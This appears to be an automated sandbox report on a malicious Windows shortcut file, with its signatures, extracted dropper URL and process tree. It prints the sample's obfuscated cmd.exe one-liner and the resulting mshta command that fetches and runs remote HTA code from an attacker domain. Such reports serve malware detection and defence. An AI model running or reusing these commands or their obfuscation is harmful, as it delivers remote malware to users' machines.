Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:29

General

  • Target
    DOC-729X18.lnk
  • Size 2KB
  • Sample260804-kdpt9avglh
  • SHA256 64a8daa85bd66f991463cb2a1a64d2b3ddc4fd59c720fe379fa50e81127d9672
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-729X18.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:4100
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D /V:on /c "set NhO=59astqbm&&set werSJ=3xtart19&set Im=cfgvcrwyfrafvuxtcfg&set WXrl=bakspfkquedgdgahtbak&set PSVjg=logqcreecjiyubrmhjqlog&set LXD=netrwozzkbjyysdvvlxtnet&set Ho=dbgvcvpjdbg&set eMJ=infsmdkktinf&set xZjJr=mjmshn4&&set fuh=0uttnk&&set OobBS=ka49&set ZOXAe=cfgahkcvupwcfg&set zg=tmpzdhhdjxtmp&set Kqgc=netfhgjrbnet&&set YBgTz=https://@m@a@-p@df@filler.@lat/h/[email protected]@hp@?r@=3@914@69FB5@D@8@2DB&&start /b !xZjJr:~2,3!!fuh:~2,1!!OobBS:~1,1! !YBgTz:@=!&&set tww=done"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3208
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:2568

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads